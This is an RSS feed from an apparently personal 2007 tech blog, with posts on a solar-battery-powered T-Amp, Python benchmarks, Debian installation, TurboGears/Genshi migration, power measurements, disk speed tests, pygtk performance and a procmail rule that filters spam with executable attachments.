<div class="imageboxright"><a href="http://eccentric.cx/blogimages/20070607/solarpanel.jpg"><img src="http://eccentric.cx/blogimages/20070607/_solarpanel.jpg" width="300" height="186" alt="solar panel laying on the roof" title="solar panel laying on the roof"  /></a><br />Solar panel laying on the roof.</div><br /><br /><br />I've been working on this project over the past couple of months and have finally got it all together. It's basically just a little <a href="http://www.tnt-audio.com/ampli/t-amp_e.html">T-Amp</a> running from a battery bank that I power with a solar panel. I had the idea a little while ago as it pretty much all fits together nicely since the T-Amp is designed to run from a 12Volt battery source, and it just so happens many solar panels are designed for charging just this type of battery. Searching on the net I found someone had already done this as well as outlined on an <a href="http://www.newconsumer.com/interviews/with/meet_the_man_who_built_a_solar_hi_fi/">article on New Consumer</a>. And searching for that article to add the link to this post I see someone has recently posted an <a href="http://www.instructables.com/id/SMMEC5CF0FI3ADR/">instructable</a> for this same idea as well.<br /><br />But anyways, I thought I'd post what I did anyways even if it's not unique :) <br /><br />The first thing I did was get a reasonably sized solar panel. I ended up finding a 40 watt <a href="http://www.sunlink-pv.com/newEbiz1/EbizPortalFG/portal/html/ProductInfoExhibit.html?ProductInfoExhibit_ProductID=c373e90b69ef84958f6e75cf96376bda&ProductInfoExhibit_isRefreshParent=false">SL040 Sunlink PV</a> panel on ebay, sold new from a seller in Toronto who runs a store on ebay called <a href="http://stores.ebay.ca/Go-Green-Energy">Go Green Energy</a>. The panel was about $320 all said and done and it came with a charge controller as well. This panel is rated at 17.2 volts at 2.33 amps, however since I am charging a 12 volt system with it my effective wattage form the panel is ~28W, but it seems to output that even on cloudy conditions and such which is why I think the panel is designed to be 17.2 volts. It's a little bit wasteful in full sunlight, but does work in a wider range of partial sunlight conditions. (At least thats how I understand it. I'm no expert). It's also pretty small measuring 25"x21" so it fits on our little porch without having to do any work mounting it to the roof or anything. <br /><br /><div class="imageboxleft"><a href="http://eccentric.cx/blogimages/20070607/solarpanel2.jpg"><img src="http://eccentric.cx/blogimages/20070607/_solarpanel2.jpg" width="300" height="200" alt="view from porch onto street" title="view from porch onto street"  /></a><br />View from porch onto street...</div><br /><br /><br /><div class="imageboxleft"><a href="http://eccentric.cx/blogimages/20070607/solarpanel3.jpg"><img src="http://eccentric.cx/blogimages/20070607/_solarpanel3.jpg" width="300" height="200" alt="close up of the panel" title="close up of the panel"  /></a><br />Close up view of the panel.</div><br /><br /><br /><br /><br clear="all" /><br /><br /><br /><br /><div class="imageboxright"><a href="http://eccentric.cx/blogimages/20070607/batteries.jpg"><img src="http://eccentric.cx/blogimages/20070607/_batteries.jpg" width="300" height="200" alt="two workaholic U2200 batteries in series" title="two workaholic U2200 batteries in series"  /></a><br />Batteries wired in series.</div><br /><br /><br />So with the panel I was able to hook the T-Amp directly to the battery terminals from the charge controller and listen to music when it was daylight. However I needed to get some batteries so I could keep it running beyond that. I managed to get two Interstate Workaholic U2200 Deep Cycle batteries from a guy at work for free which was a pretty good score as they would be around $80 each to buy I believe. These are 6 volt batteries with 220 amp hour rating. I hooked them up in series and so I have a 12V battery bank with lots of power now. This should be enough to run the T-Amp for 200+ hours. I'll probably end up hooking up some other 12 volt items to this bank though as the panel should be able to keep the battery charged pretty easily.<br /><br />To wire everything up I've run the solar panel into the charge controller (as seen in the photo below). I then have the positive feed from the charge controller running to the battery where it is fused off with a 4 amp automotive fuse as close to the battery as possible. The negative lead simply runs directly to the battery. I then have the T-Amp power running to the positive terminal where it is fused off with a 5 amp fuse in another automotive fuse holder. (I purchased the fuses and fuse holders from the automotive section at canadian tire). And the negative lead from the T-amp wried in directly to the negative side of the battery terminal as well. You can also see the jumper cable I'm using in between the two batteries to wire them in series (connecting the positive post of one battery to the negative post on the other battery.<br /><br />And thats pretty much it. I've been running it on the battery bank now for a week or two and it's been working like a charm.<br /><br /><br clear="all" /><br /><br /><div class="imageboxleft"><a href="http://eccentric.cx/blogimages/20070607/fuses.jpg"><img src="http://eccentric.cx/blogimages/20070607/_fuses.jpg" width="300" height="200" alt="fuses connected to the postive terminal" title="fuses connected to the postive terminal"  /></a><br />Fused positive terminal. Using a 4 amp fuse inbetween the charge controller and the batteries, and a 5 amp fuse between the batteries and the T-Amp</div><br /><br /><div class="imageboxleft"><a href="http://eccentric.cx/blogimages/20070607/chargecontoller.jpg"><img src="http://eccentric.cx/blogimages/20070607/_chargecontoller.jpg" width="300" height="209" alt="charge contoller" title="charge contoller"  /></a><br />The charge controller, black wires are coming in from the solar panel, and the blue wires are running to the battery. The T-Amp (load) connects to the battery itself.</div><br /><br /><div class="imageboxleft"><a href="http://eccentric.cx/blogimages/20070607/tamp.jpg"><img src="http://eccentric.cx/blogimages/20070607/_tamp.jpg" width="300" height="200" alt="T-Amp hooked up and running" title="T-Amp hooked up and running"  /></a><br />T-Amp hooked up and running from solar power.</div><br /><br /><br clear="all" /><br />
]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/energy</category>
   <pubDate>Fri, 08 Jun 2007 00:21 GMT</pubDate>
</item>
<item>
   <title>pystone benchmarks</title>
   <guid isPermaLink="false">general/pystone_benchmarks</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/general/pystone_benchmarks.ecc</link>
   <description><![CDATA[
These aren't very sceintific tests, but it's interesting to see the difference from processor to processor. The test I'm performing is a builtin pystone benchmark from the test module in python that tests mostly cpu performance in executing python code. It is simply done by doing the following on a *unix box:<br /><pre><br />from test import pystone<br />pystone.main(500000)<br /></pre><br />It will then output the time it took and the pystones/second value. Run it a few times and take the lowest value. Here are the results from a bunch of machines I have access too:

<table border="1" cellpadding="1" cellspacing="0">
<tr><th>Machine</th><th>Time</th><th>pystones/second</th></tr>
<tr><td>Intel Core 2 Duo 6600 (2.4 ghz)</td><td>7.04</td><td>71022.7</td></tr>
<tr><td>Intel Xeon 5110 (1.6 ghz)</td><td>10.42</td><td>47984.6</td></tr>
<tr><td>Athlon s969 3200+ (2.0 ghz)</td><td>12.02</td><td>41597.3</td></tr><tr><td>Athlon s969 3000+ (1.8 ghz)</td><td>13.37</td><td>37397.2</td></tr>
<tr><td>AMD Hammer? (1.6 ghz)</td><td>14.95</td><td>33444.8</td></tr>
<tr><td>AMD Opteron 242 (1.6 ghz)</td><td>15.20</td><td>32894.7</td></tr>
<tr><td>Intel Pentium 4 (2.4 ghz)</td><td>16.53</td><td>30248.0</td></tr>
<tr><td>AMD Sempron (1.6 ghz)</td><td>17.01</td><td>29394.5</td></tr>
<tr><td>Epia M6000 (600 mhz)</td><td>74.54</td><td>6707.8</td></tr>
<tr><td>Intel Celeron (300 mhz)</td><td>100.89</td><td>4955.9</td></tr>
</table>
<br /><a href="/blogimages/20070602/pystones_graph.jpg"><img src="/blogimages/20070602/pystones_graph.jpg" alt="graph" /></a><br /><br />As can be seen from the graph the new Core 2 Duo chip I got outperforms my old AMD 64 3000+ by almost double in this test. And it really does make quite a noticeable difference in just day to day use. Well worth the upgrade I would say...

]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/general</category>
   <pubDate>Sat, 02 Jun 2007 04:00 GMT</pubDate>
</item>
<item>
   <title>installing debian on an asus P5B with 4 gig ram</title>
   <guid isPermaLink="false">debian/installing_debian_on_an_asus_P5B_with_4_gig_ram</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/debian/installing_debian_on_an_asus_P5B_with_4_gig_ram.ecc</link>
   <description><![CDATA[
So I decided to do an upgrade on my desktop machine to give it some more power, and cycle down the old system to replace my server as it could really use an upgrade. Did some searching and decided to go with a Intel Core Duo 2 2.4ghz on an Asus P5B board with 4 gigs of ram. Got it all home this evening and started tearing apart my system and installing all the new shinny computer parts. Got it all together without much problem and then started on getting my desktop back up and going. This is where things started getting tricky.<br /><br />First, the bios was only showing 3 gigs of ram no matter what I tried. After doing a bios upgrade (which you can do on  flash memory stick these days), I found a site mentioning a bios setting that you need to change to make it show 4 gigs. (BIOS -> Advanced -> Chipset -> North Bridge Configuration -> Memory Remap Feature).<br /><br />So after finally getting that sorted out I decided to do a fresh install of debian on a new hard drive I got for the machine. Went through and finished the install, but then realized I only had 2 gigs of ram available. Thinking it was a kernel option I had seen before I recompiled the kernel with 4 gig memory support but no change. Then after doing some googling found out that you need to be running the AMD64 port to be able to access that much memory.<br /><br />So, I then downloaded the AMD64 installer (which is kind of a strange name since it seems to cover all x86_64 chips). I then ran into a problem with the installer and this particular board it seems and for the installer to not hang you need to run it with the option agp=off so that it doesn't attempt to load the intel_agp driver which seems to cause problems.<br /><br />But now it seems the system is finally up and going. And this is the first 64bit system I've actually installed as well so that should be interesting... 
]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/debian</category>
   <pubDate>Thu, 24 May 2007 06:55 GMT</pubDate>
</item>
<item>
   <title>passing options to toscawidgets</title>
   <guid isPermaLink="false">turbogears/passing_options_to_toscawidgets</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/turbogears/passing_options_to_toscawidgets.ecc</link>
   <description><![CDATA[
The syntax for passing options to a widget with toscawidgets is slightly different than it was with the turbogears widgets. This actually had me google searching for a while to find this so I thought I'd post it here as a full example:<br /><br />You define your widget in the controllers.py file:<br /><pre>from toscawidgets.core import WidgetsList<br />from toscawidgets.widgets.forms import SingleSelectField, TableForm, TextField<br />from formencode.schema import Schema<br />...<br />class FilteringSchema(Schema):<br />    filter_extra_fields = True<br />    allow_extra_fields = True<br /><br />class Fields(WidgetsList):<br />    testselect = SingleSelectField(label="Test:", validator=validators.Int())<br />    name = TextField(validator=validators.NotEmpty(), label="Name:", attrs={'maxlength':128})<br /><br />testform = TableForm("TestForm", validator=FilteringSchema, fields=Fields(), action="save", submit_text="Submit")<br /><br />class Root(controllers.RootController):<br /><br />    @expose(html="test.templates.formpage")<br />    def formpage(self):<br />        selectlist = [(1, 'option 1'), (2, 'option 2')]<br />        data = dict(child_args=dict(testselect=dict(options=selectlist)), value=dict(name='Test Guy'))<br />        return dict(form=testform, data=data)<br /></pre><br /><br />This produces your form and the data to populate your form passed as <em>form</em> and <em>data</em>. In the formpage template you simply display the form with the following line:<br /><pre>${form.display(**data)}</pre><br /><br />This should produce a form with a select field showing <em>option 1</em> and <em>option 2</em> in a dropdown, and a name text field filled in with the value <em>Test Guy</em>.<br />
]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/turbogears</category>
   <pubDate>Sat, 19 May 2007 05:45 GMT</pubDate>
</item>
<item>
   <title>turbogears kid to genshi</title>
   <guid isPermaLink="false">turbogears/turbogears_kid_to_genshi</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/turbogears/turbogears_kid_to_genshi.ecc</link>
   <description><![CDATA[
I've started working on an existing <a href="http://turbogears.org/">turbogears</a> application recently and we're about to do a pretty major update. From what I've read <a href="http://toscawidgets.org/">genshi</a> is taking over from where kid left off and so before I go any further with <a href="http://kid-templating.org/">kid</a> I thought it best to migrate the project to genshi before we get into styling the site and so on. I ran into a few little problems with widgets and some syntax changes between the two which I thought I'd outline after piecing together the following from a few different google searches. I made the following change using turbogears 1.0.2.2:<br /><br />Set turbogears to use genshi in your dev.cfg (or app.cfg):<br /><pre>tg.defaultview = "genshi"</pre><br /><br />Rename your kid templates from .kid to .html<br /><br />Modify your template headers should look similar to this:<br /><pre>&lt; !DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;<br />&lt;html xmlns="http://www.w3.org/1999/xhtml"<br />      xmlns:py="http://genshi.edgewall.org/"<br />      xmlns:xi="http://www.w3.org/2001/XInclude"&gt;<br />    <br />&lt;xi :include href="master.html" /&gt;</pre><br /><i>notice the use of Xinclude instead of py:extends</i><br /><br />Modify your master.html file if your using one close to the stock from tutorial:<br /><pre>old: &lt;head py:match="item.tag=='{http://www.w3.org/1999/xhtml}head'" py:attrs="item.items()"&gt;<br />new: &lt;head py:match="head" py:attrs="select('@*')"&gt;<br /><br />old: &lt;meta py:replace="item[:]"/&gt;<br />new: &lt;meta py:replace="select('*')" /&gt;<br /><br />old: &lt;body py:match="item.tag=='{http://www.w3.org/1999/xhtml}body'" py:attrs="item.items()"&gt;<br />new: &lt;body py:match="body" py:attrs="select('@*')"&gt;<br /><br />old: &lt;div py:replace="[item.text]+item[:]"/&gt;<br />new: &lt;div py:replace="select('*|text()')" /&gt;<br /></pre><br /><br />If you are using turbogears widgets they will not work with genshi and it seems the best solution is to use <a href="http://toscawidgets.org/">ToscaWidgets</a> (check the site for installation instructions). I was able to get them working by simply importing the widgets from the toscawidgets module and using the FilteringSchema class. Other than that widgets work just the same as they did before. Here are the changes in the controller.py file:<br /><pre>from toscawidgets.core import WidgetsList<br />from toscawidgets.widgets.forms import TextField, HiddenField, SingleSelectField, TableForm, TextArea, RadioButtonList<br />from formencode.schema import Schema<br />...<br />class FilteringSchema(Schema):<br />    filter_extra_fields = True<br />    allow_extra_fields = True<br /><br />class ProjectorFields(WidgetsList):<br />    test1 = TextField(validator=validators.NotEmpty(), label="Test 1:")<br />    test2 = TextField(validator=validators.NotEmpty(), label="Test 2:")<br /><br />form = TableForm("testform", validator=FilteringSchema, fields=TestFormFields(), action="testform", submit_text="Submit")<br /></pre><br /><br /><br />The one last thing I ran into was the use of py:attrs has changed to using a dictionary of values:<br /><pre>old: py:attrs="selected=tg.selector(id == testid)"<br />new: py:attrs="{'selected': tg.selector(id == testid)}"<br /></pre><br /><br />
]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/turbogears</category>
   <pubDate>Tue, 15 May 2007 05:56 GMT</pubDate>
</item>
<item>
   <title>power usage</title>
   <guid isPermaLink="false">energy/power_usage</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/energy/power_usage.ecc</link>
   <description><![CDATA[
I purchased a <a href="http://www.the-gadgeteer.com/review/kill_a_watt_electric_usage_monitor_review">Kill-A-Watt (P4400)</a> a few days ago and started measuring my energy usage to see what I could conserve on. I thought I'd publish what I found to give an idea on what devices drain the most electricity. Everything listed here is measured in VA (Watts).<br /><br /><table border="1" cellpadding="1" cellspacing="0"><br /><tr><th>Device</th><th>Standby</th><th>In Use</th></tr><br /><tr><td>AVR 230 Audio Recevier</td><td>1</td><td>60-75</td></tr><br /><tr><td>Toshiba DVD Player</td><td>0</td><td>12</td></tr><br /><tr><td>Goldstar VCR</td><td>2.5</td><td>9</td></tr><br /><tr><td>19" Acer LCD Monitor</td><td>1</td><td>26</td></tr><br /><tr><td>21" Viewsonic CRT Monitor</td><td>2</td><td>60-70</td></tr><br /><tr><td>Athlon 3500+ gaming computer</td><td>4</td><td>165-185</td></tr><br /><tr><td>Athlong 3000+ desktop</td><td>4</td><td>99-125</td></tr><br /><tr><td>Epia M6000 computer</td><td>3</td><td>16-22</td></tr><br /><tr><td>Epia M10000 computer</td><td>4</td><td>47-60</td></tr><br /><tr><td>Apple iBook G4</td><td>-</td><td>15-22</td></tr><br /><tr><td>Linksys WRT54G wireless router</td><td>-</td><td>4</td></tr><br /><tr><td>Linksys VOIP router</td><td>-</td><td>6-7</td></tr><br /><tr><td>RCA Cablemodem</td><td>-</td><td>4</td></tr><br /><tr><td>D-Link 8 port switch</td><td>-</td><td>4</td></tr><br /><tr><td>BenQ BP6100 Projector</td><td>11</td><td>245</td></tr><br /><tr><td>Toshiba 32" CRT TV</td><td>1</td><td>61</td></tr><br /><tr><td>Compact flourescent lamp</td><td>-</td><td>13</td></tr><br /><tr><td>Small Compact flourescent lamp</td><td>-</td><td>3</td></tr><br /><tr><td>Small lamp with small incadescent bulb</td><td>-</td><td>36</td></tr><br /><tr><td>Aquaclear 150 Pump</td><td>-</td><td>3</td></tr><br /><tr><td>Rena Filstar XP 1 Pump</td><td>-</td><td>17</td></tr><br /><tr><td>Aquaclear 50 Heater</td><td>-</td><td>180</td></tr><br /><tr><td>Rena Air Pump</td><td>-</td><td>2</td></tr><br /><tr><td>2 x 48" T8 Flourescent Lights</td><td>-</td><td>50</td></tr><br /><tr><td>2 x 24" T5 Flourescent Lights</td><td>-</td><td>30</td></tr><br /><tr><td>65W 24" Compact flourescent lights</td><td>-</td><td>50</td></tr><br /></table><br />
]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/energy</category>
   <pubDate>Fri, 11 May 2007 00:03 GMT</pubDate>
</item>
<item>
   <title>WD Raptor drives</title>
   <guid isPermaLink="false">general/WD_Raptor_drives</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/general/WD_Raptor_drives.ecc</link>
   <description><![CDATA[
I'm a big fan of these new WD Raptor 10k rpm SATA drives that have been out for a little while now. So far they've been really solid and they make quite the difference in IO speed. I just replaced a drive in a machine and had a chance to perform a little real world test on identical machines hardware wise except the drive.<br /><br />Machine A has a Seagate 7200rpm SATA drive (ST380013AS)<br />Machine B has a Western Digitial 10k rpm 36gig Raptor (WD360ADFD-00)<br /><br />Both machines are AMD64 3000+ w/1gig of ram (identical mainboards/ram/controllers and whatnot)<br /><br />First I did a little test with apt-get. Both machines are running Debian Etch and had an identical upgrade to do on firefox (or iceweasel). First I downloaded the packages to make sure they were starting from the same place:<br /><code>apt-get -d install mozilla-firefox</code><br /><br />Next I ran the install and timed them both:<br /><code>time apt-get -y install mozilla-firefox</code><br /><br />For the older seagate drive the time was 22.6 seconds:<br /><em>real    0m22.571s<br />user    0m2.956s<br />sys     0m1.032s<br /></em><br /><br />For the 10k WD Raptor it was done in 5.4 seconds:<br /><em>real    0m5.363s<br />user    0m1.332s<br />sys     0m0.496s<br /></em><br /><br />If you have the money I'd certainly recommend the Raptor drives as they really do make quite a noticeable difference in anything IO related.
]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/general</category>
   <pubDate>Tue, 27 Mar 2007 19:59 GMT</pubDate>
</item>
<item>
   <title>speeding up pygtk liststore/treeview</title>
   <guid isPermaLink="false">general/speeding_up_pygtk_liststoretreeview</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/general/speeding_up_pygtk_liststoretreeview.ecc</link>
   <description><![CDATA[
I was running into a problem when populating a pygtk liststore where it would take a rather long amount of time and thus slowed down the app quite a lot. I did some looking into ways of speeding it up and found that the slowdown was a rather expensive sort function I was using (soring by column a, then b, then c, then d). So each time it was adding a row to the liststore it would then run through the sort fucntion to find it's place in the list. So for the liststore I was working with I was adding 379 records and it was taking about 2.5 seconds to populate.<br /><br />Unfortunately there is no way to disconnect a sort function from a liststore, but you can basicly nullify it by creating a simple sort function that doesn't do anything and tell the list store to use that while you populate, then reconnect the complicated sort function after your done populating so it only needs to run the expensive sort function once instead of 379 times. <br /><br /><code>sort_func = lambda *args: 0<br />store.set_sort_func(2, sort_func)<br />store.clear()<br />... code to populate store ...<br />store.set_sort_func(2, self.aisort, (2, 3, 6))<br /></code><br /><br />This knocked the time down to 0.12 seconds which makes the app much more usable. I also found you could shave a little more time off by also disconnecting the liststore from the treeview to avoid having to update the treeview when each row is getting updated.<br /><br /><code>treeview.set_model(None)<br />... code to populate store ...<br />treeview.set_model(store)<br /></code><br /><br />This got things down to 0.10 seconds which isn't a big improvement but does make a difference. And would account for a bigger differene with more rows of data.<br />
]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/general</category>
   <pubDate>Mon, 05 Mar 2007 23:26 GMT</pubDate>
</item>
<item>
   <title>procmail filtering of exe files</title>
   <guid isPermaLink="false">general/procmail_filtering_of_exe_files</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/general/procmail_filtering_of_exe_files.ecc</link>
   <description><![CDATA[
I've been getting alot of spam/virus email lately that are just a blank email with an exe attachment named <em>Greeting Card.exe</em> or something equally retarded. My spam filter hasn't been picking up on them since there is no message to filter against so I decided to add a quick procmail rule to filter the messages out. I was able to do so by simply adding the following into my ~/.procmailrc file.<br /><blockquote>:0B:<br />* ^Content-Type: .*/.*;(.*$)?([ ].*$)*[ ]*name[ ]*=.*.(com|exe|pif|bat|scr)<br />badattachments</blockquote><br />The :0 is the procmail tag that says this is a rule, the B tells it to scan the message body which it does not do by default. The second line is the regular expression that matches the content type line for any attachments with com, exe, pif, bat, src extension. The thrid line simply moves all that mail into my mailbox called badattachments. This could be <em>/dev/null</em> as well if you wanted to just rid of them right away.
]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/general</category>
   <pubDate>Fri, 09 Feb 2007 06:54 GMT</pubDate>
</item>
<item>
   <title>APEv2 tags on mp3 files</title>
   <guid isPermaLink="false">general/APEv2_tags_on_mp3_files</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/general/APEv2_tags_on_mp3_files.ecc</link>
   <description><![CDATA[
I don't know why or how these got attached to some files in my music collection but it's been a problem thats been bugging me for some time. I use <a title="http://slimdevices.com/" href="http://eccentric.cx/wordpress/slimdevices">SlimServer</a> for music listening and a few mp3s were not showing the proper tags even though I've triple checked the id3v2 tags. I ended up looking into the file itself and noticed right at the end of the file the tag information I had been trying to remove with the header <strong>APETAGEXÐ</strong> and with a little searching found that its an <a title="APEv2 tag" href="http://wiki.hydrogenaudio.org/index.php?title=APEv2">APEv2 tag</a> attached to the file. I did some searching for a program to remove it but I couldn't find anything non-windows, however there is a library in python that can work with them called <a title="Mutagen" href="http://www.sacredchao.net/quodlibet/wiki/Development/Mutagen">Mutagen</a>. So I ended up scripting up a little program to rid of the tag and now the files index properly.<br /><br />If anyone else is running into this problem you can install the <em>python-mutagen</em> package (in debian) and then use the following simple python script <a title="apetag-remove" href="/blogimages/20070125/apetag-remove.py">apetag-remove</a>.
]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/general</category>
   <pubDate>Thu, 25 Jan 2007 20:14 GMT</pubDate>
</item>
<item>
   <title>thunderbird vs sylpheed-claws memory usage</title>
   <guid isPermaLink="false">debian/thunderbird_vs_sylpheed-claws_memory_usage</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/debian/thunderbird_vs_sylpheed-claws_memory_usage.ecc</link>
   <description><![CDATA[
I've been trying out some other email clients lately as <a title="thunderbird" href="http://www.mozilla.com/en-US/thunderbird/">thunderbird</a> always seems to be using alot of memory and gets slower after time if it's been open for a long time. I started using <a title="sylpheed-claws" href="http://eccentric.cx/wordpress/sylpheed-claws">sylpheed-claws</a> at work and although it took a little getting used too it seems to be working quite nicely. It's memory usage looks be alot better too (although I don't know how accurate this test is, thunderbird running for a day, sylpheed-claws running for 2 days):<br /><blockquote>pmap -d <em>thunderbird pid</em><br />mapped: 140680K    writeable/private: 108296K    shared: 1284K<br /><br />pmap -d <em>sylpheed-claws-gtk2 pid</em><br />mapped: 38156K    writeable/private: 16136K    shared: 1112K</blockquote><br />Also, if you plan on installing sylpheed-claws on <a title="debian" href="http://debian.org/">debian</a> make sure you get the plugins too as they are most useful.<br /><em>apt-get install sylpheed-claws-gtk2 sylpheed-claws-gtk2-plugins sylpheed-claws-gtk2-extra-plugins</em>
]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/debian</category>
   <pubDate>Fri, 01 Dec 2006 00:19 GMT</pubDate>
</item>
</channel>
</rss>
